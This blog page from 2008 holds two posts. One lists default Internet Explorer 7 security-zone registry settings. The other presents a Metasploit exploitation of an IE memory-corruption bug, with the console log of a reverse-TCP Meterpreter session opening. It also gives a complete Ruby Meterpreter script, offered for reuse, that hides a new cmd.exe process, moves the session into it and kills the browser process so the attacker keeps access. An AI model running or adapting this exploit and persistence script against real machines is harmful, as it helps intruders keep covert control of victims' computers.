Wednesday, December 17, 2008

Default IE7 Settings for XP SP3 and Server 2003 SP1

In doing some research on IE7 permissions I searched high and low on the MSDN and similar places, and couldn't find a complete list of default settings. So, I created the following spreadsheet to document what was available, by default, for the various security zones ('Intranet', 'Internet', etc). This was a quick analysis and only includes those with 'simple' registry values (like 0, 1, etc), and doesn't parse out any of the more complex values. See this MS link for more info.

When I created it, I looked at a fresh XP SP3 install and an almost new Server 2003 SP1 install. I followed the rules for precedence when conflicting rules are in place (e.g. HKLM vs HKCU, Domain policy over default HKLM/HKCU, etc) and came up with the final results. At some point, I'll go back and do it properly with complete documentation of the sources of the various settings, but in the mean time if anyone else would find this useful, here ya go.

Specifically, the settings that may be interested to look at are:

  • 1206 Miscellaneous: Allow scripting of Internet Explorer Web browser control ^
  • 1208 ActiveX controls and plug-ins: Allow previously unused ActiveX controls to run without prompt ^
  • 1209 ActiveX controls and plug-ins: Allow Scriptlets
  • 1407 Scripting: Allow Programmatic clipboard access
  • 1607 Miscellaneous: Navigate sub-frames across different domains
  • 1805 Launching programs and files in webview #
  • 1806 Miscellaneous: Launching applications and unsafe files
  • 1809 Miscellaneous: Use Pop-up Blocker ** ^
  • 1A04 Miscellaneous: Don't prompt for client certificate selection when no certificates or only one certificate exists * ^
  • 1A05 Allow 3rd party persistent cookies *
  • 1A10 Privacy Settings *
  • 2102 Miscellaneous: Allow script initiated windows without size or position constraints ** ^
  • 2103 Scripting: Allow status bar updates via script ^
  • 2104 Miscellaneous: Allow websites to open windows without address or status bars ^
  • 2105 Scripting: Allow websites to prompt for information using scripted windows ^
  • 2200 Downloads: Automatic prompting for file downloads ** ^
  • 2201 ActiveX controls and plug-ins: Automatic prompting for ActiveX controls ** ^
  • 2301 Miscellaneous: Use Phishing Filter ^
  • 1207 Reserved #
  • 1408 Reserved #
  • 1807 Reserved ** #
  • 180A Reserved #
  • 180D Reserved #

Lastly, if any of you who review this notice your settings at are different from these, please drop me an email.

The default IE7 settings are located at the below registry entries. If policy-enforced settings are in placed, they override whatever is set here.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Default Windows IE7 Permissions

Friday, December 12, 2008

Automatic migration to a new process with meterpreter

Playing with metasploit's new ie_xml_corruption module, I needed a way to automatically migrate outside of the current process (iexplore.exe). This particular exploit locks up the process upon exploitation, leaving the user sitting at a hung Internet Explorer. Should a user ctrl+alt+delete and terminate it, I didn't want to lose the session.

An example migrate script exists that will do some of this, but if you use it in it's default form, it migrates to lsass.exe. If meterpreter then crashes (or you close it), it'll kill the whole process... which you certainly don't want to do with lsass. Also, my little script has the added benefit of working even if the exploited user doesn't have admin privileges (and LSASS migration would then be impossible).

msf exploit(ie_xml_corruption) > exploit
[*] Exploit running as background job.
[*] Handler binding to LHOST 192.168.182.1
[*] Started reverse handler
[*] Using URL: http://192.168.182.1:80/ie-xml-corruption.html
[*] Server started.
[*] Sending HTML to 192.168.182.1:2761...
[*] Sending DLL to 192.168.182.1:2761...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (75776 bytes)
[*] Meterpreter session 5 opened (192.168.182.1:4444 -> 192.168.182.1:2762)
msf exploit(ie_xml_corruption) > sessions -i 5
[*] Starting interaction with 5...

run launch_and_migrate
[*] Launching hidden cmd.exe...
[*] Process 5560 created.
[*] Current process is IEXPLORE.EXE (656). Migrating to 5560.
[*] Migration completed successfully.
[*] New server process: cmd.exe (5560)
[*] Old process 656 killed.


Save the file to .msf3/scripts/meterpreter/ (may need to create the subdirectories) and it'll become available to your meterpreter sessions. You should be able to set the script to automatically run with the advanced AutoRunScript option:

Payload advanced options (windows/reflectivemeterpreter/reverse_tcp):

Name : AutoLoadStdapi
Current Setting: true
Description : Automatically load the Stdapi extension

Name : AutoRunScript
Current Setting:
Description : Script to autorun on meterpreter session creation


... but I couldn't get it to work in the few minutes I had to play with it. It may be broken on Windows, or I just may not be able to figure out how to do paths in Windows + Ruby. I'll check with my linux install over the weekend.

And here's the code:

launch_and_migrate.rb

##
## Meterpreter script that launches a hidden process,
## migrates to it, then kills the old process.
##
## Provided by natron (natron 0x40 invisibledenizen 0x2E com)
##

# Get the target process name
target = args[0] || "cmd.exe"

def launchProc(target)
print_status("Launching hidden #{target}...")

# Set the vars; these can of course be modified if need be
cmd_exec = target
cmd_args = nil
hidden = true
channelized = nil
use_thread_token = false

# Launch new process
newproc = client.sys.process.execute(cmd_exec, cmd_args,
'Channelized' => channelized,
'Hidden' => hidden,
'InMemory' => nil,
'UseThreadToken' => use_thread_token)

print_status("Process #{newproc.pid} created.")

return newproc
end

def migrateToProc(newproc)
# Grab the current pid info
server = client.sys.process.open
print_status("Current process is #{server.name} (#{server.pid}). Migrating to #{newproc.pid}.")

# Save the old process info so we can kill it after migration.
oldproc = server.pid

# Do the migration
client.core.migrate(newproc.pid.to_i)

print_status("Migration completed successfully.")

# Grab new process info
server = client.sys.process.open

print_status("New server process: #{server.name} (#{server.pid})")

return oldproc
end

def killApp(procpid)
client.sys.process.kill(procpid)
print_status("Old process #{procpid} killed.")
end

# Main flow of execution
newProcPid = launchProc(target)
oldProc = migrateToProc(newProcPid)
killApp(oldProc)